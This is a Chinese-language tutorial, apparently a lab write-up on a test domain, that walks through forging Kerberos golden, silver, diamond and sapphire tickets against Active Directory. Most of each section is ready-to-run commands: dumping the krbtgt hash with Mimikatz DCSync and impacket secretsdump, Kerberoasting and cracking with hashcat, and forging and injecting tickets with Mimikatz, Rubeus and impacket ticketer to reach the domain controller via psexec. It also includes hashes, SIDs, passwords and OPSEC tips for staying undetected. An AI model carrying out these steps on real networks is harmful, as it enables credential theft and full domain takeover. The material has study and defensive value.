0x01 Kerberos 身份认证流程
Kerberos 是一种基于票证的身份验证协议。它基本上是这样工作的:
1.客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求用户的密钥之一用于预身份验证。 TGT 由身份验证服务 (AS) 提供。客户端的请求被称为AS-REQ,应答被称为AS-REP。
2.客户端使用 TGT 向 KDC 请求 ST(服务票证)。该票证由票证授予服务 (TGS) 提供。客户端的请求被称为TGS-REQ,应答被称为TGS-REP。
3.客户端使用ST(服务票证)来访问服务。客户端对服务的请求被称为调用AP-REQ,服务的响应被称为调用AP-REP。
4.两种票证(TGT 和 ST)通常都包含加密的 PAC(特权身份验证证书),目标服务将读取一组信息来决定身份验证用户是否可以访问该服务(用户 ID、组成员身份等) 。
0x02 黄金票据 Golden Ticket
介绍
黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据
利用条件
黄金票据的使用的必要票件是获取域中 krbtgt
用户使用的加密密钥之一,然而加密密钥之一就是该账户的NTLM HASH
值
可以使用使用Mimikatz
读取密钥
1 | mimikatz # privilege::debug |
其中有三个加密密钥可以用于黄金票据
1 | NTLM : c3d5042c67ef5f461d0ba6ecdd9ea449 |
除了加密密钥之外,还需要以下信息
1 | 目标域名:我这里是rootkit.org |
使用Mimikatz注入票据
登录低权限域账户,尝试 dir
域控失败
1 | 清除原有票据:kerberos::purge |
成功注入后尝试dir
域控,成功
尝试psexec
成功
如果以后想要重复使用相同的票据,可以直接生成一个票据文件,然后将其文件导入会话中
1 | kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ticket:golden.kirbi |
注意:由于客户端和服务器的配置问题以及windows自身的特性,需要尝试目标系统的非限定名称或者限定名称才能成功,例如 UNC 路径\\owa2013\c$
或\\owa2013.rootkit.org\c$
如果拥有 AES-256 HMAC
和/或 AES-128 HMAC
也可进行尝试
1 | #aes256 |
欺骗性用户名
在票据认证中,目标系统通常会信任 Kerberos 票证中的信息,而不会验证帐户信息是否有效。我们可以尝试注入一个名称为Hello world,Nice to meet you my dear
的会话
1 | kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:"Hello world,Nice to meet you my dear" /id:500 /groups:500,501,513,512,520,518,519 /ptt |
查看域控在线会话可以看到这个用户名
其实 RID 也可以任意,但是某些系统会尝试反向查找产生异常,非必要情况下不建议这么做
组成员资格
组 RID 列表不需要与欺骗票证中的帐户所属的实际组列表相对应,即使你的用户名是低权限,你可以包含Domain Admins
组的 RID。
1 | kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /id:1139 /groups:500,501,513,512,520,518,519 /ptt |
impacket 下黄金票据的利用
lookupid.py
脚本以枚举域 SID
1 | python lookupsid.py "rookit/administrator:admin!@#45"@192.168.3.131 |
secretsdump.py
用于提取 krbtgt
哈希
1 | python secretsdump.py "rookit/administrator:admin!@#45"@192.168.3.131 -outputfile krbhash -user-status |
ticketer.py
脚本创建TGT/TGS工单,工单期限固定为10年后,
1 | python ticketer.py -nthash c3d5042c67ef5f461d0ba6ecdd9ea449 -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org administrator |
使用ticket_converter.py
将ccache文件转换为kirbi文件
1 | python ticketConverter.py administrator.ccache ticket.kirbi |
mimikatz进行注入
1 | kerberos::ptt ticket.kirbi |
使用 Rubeus.exe 传递票据
1 | Rubeus.exe ptt /ticket:ticket.kirbi |
msf 下的 mimikatz
1 | load kiwi |
确定当前域
生成票据并导入
1 | golden_ticket_create -d rootkit.local -u administrator -s S-1-5-21-3759881954-2993291187-3577547808 -k c3d5042c67ef5f461d0ba6ecdd9ea449 -t /home/kali/ticket.kirbi |
0x03 白银票据 Silver Ticket
介绍
白银票据是伪造的 Kerberos Ticket Grant Service (TGS)
票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。
利用条件
白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)
1 | 目标域名:我这里是rootkit.org |
尝试 mimikatz 注入票据
CIFS文件共享服务的密码和计算机账户相同,使用 mimikatz 抓一下密码
1 | privilege::debug |
查看Sid
注入票据
1 | kerberos::golden /sid:S-1-5-21-202412995-3582062751-167045153 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:78e1c42dbff68fdd87ea7abd70b67533 /user:1111 /ptt |
使用 rubeus 进行注入
下面将尝试获取 mssql
服务的票据,由于本地测试,需要向服务添加一个账户sqluser来运行
使用 rubeus 转储 tgs
1 | rubeus.exe kerberoast /domain:rootkit.org /creduser:rootkit\windows7 /credpassword:admin!@#45 /nowrap |
使用 hashcat 爆破密码,密码为 Admin12345
1 | hashcat -m 13100 '$krb5tgs$23$*sqluser......省略' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force |
使用 rubeus
转为 ntlm hash
1 | Rubeus.exe hash /password:Admin12345 |
使用whoami /user
获取sid,服务名service
是上面kubeus
获取到的服务名
1 | rubeus.exe silver /service:MSSQLSvc/win7.rootkit.org /rc4:CCEF208C6485269C20DB2CAD21734FE7 /sid:S-1-5-21-3759881954-2993291187-3577547808 /user:test123333 /domain:rootkit.org /ptt |
远程连接数据库执行命令即可
1 | sqlcmd -S 192.168.1.2,1433 |
黄金票据与白银票据的区别
- 访问权限不同
1 | 黄金票据 伪造TGT,可以获取任何Kerberos服务权限 |
- 加密方式不同
1 | 黄金票据 由Kerberos的NTLM Hash加密 |
- 认证流程不同
1 | 黄金票据 利用过程需要访问域控DC |
0x04 钻石票据 Diamond Ticket
黄金票据攻击和钻石票据攻击都需要访问krbtgt
密钥。然而,钻石票据攻击需要访问AES256
密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
黄金票据充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势。
钻石PAC
什么是PAC
PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。
最初的钻石PAC
攻击远没有钻石票据灵活,攻击成功需要两个条件
1 | 1. 在没有特权属性证书(PAC)的情况下请求TGT |
在服务帐户的 UAC 属性中设置 NA 位后,向该服务帐户请求的 ST 没有 PAC ,攻击者下一个阶段就可以构造恶意 PAC 注入到 ST 中实现攻击。
由于2021年发布的补丁无法再在完全最新的域控制器 (DC) 上使用没有 PAC 的 TGT。我们知道需要拥有KRBTGT
密钥,并且攻击利用任何其他有效帐户来请求 TGT。所以我们想为什么不直接解密该 TGT,按照我们想要的方式修改它,重新计算 PAC 签名,然后重新加密它。这就是我们所说的钻石票据。
钻石票据攻击利用
我们使用钻石票据的思路就是使用低权限的用户向域控请求一个普通的 TGT
,随后进行解密修改签名和重新加密即可,当然这些事情Rubeus
会自动帮我们完成,我们只需要提供信息即可。
本地尝试dir
拒绝访问
使用 mimikatz
抓取 krbtgt
用户 aes256
密钥
1 | mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit" |
使用钻石票据需要提供以下信息
1 | krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 |
1 | Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap |
以下为原TGT
解密重新构造的TGT
利用我们重新构造的TGT
对域控的cifs
服务进行票据注入。
1 | Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap |
查看票据发现已经存在
尝试 dir
域控和psexec
均成功
这种技术相比于金票更加隐蔽,因为过程中所申请的TGT是真实的,只是修改了PAC,相对你金票离线生成TGT
更符合OPSEC
0x05 蓝宝石票据 Sapphire Ticket
蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC
的修改方式。钻石票据是修改了合法PAC
以添加特权组。在蓝宝石票据中,高权限用户PAC
是通过
S4U2Self+U2U
获得的,然后该PAC
会替换原来的PAC
,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。
S4U2self + U2U
为了在 Kerberos 协议层面对约束性委派进行支持,微软扩展了 S4U2self
协议,而使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self
。
尝试生成蓝宝石票据
在这里使用魔改过的 ticketer.py
1 | https://github.com/ShutdownRepo/impacket/tree/6c9a1aadbfc11e321858a640b596530535b11fd1 |
将域控的ip地址加入hosts,使用如下命令生成票据
1 | python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire' |
通过抓包可以看到我们指定了要获取服务票证的用户名administrator
,此外我们还为用户请求了服务票证,执行 U2U
使用mimikatz
导入该票据,成功dir
域控
1 | kerberos::ptc ignored.ccache |
由于该票据很难被检测到,只能通过人工排查krbrgt
账户被盗等情况入手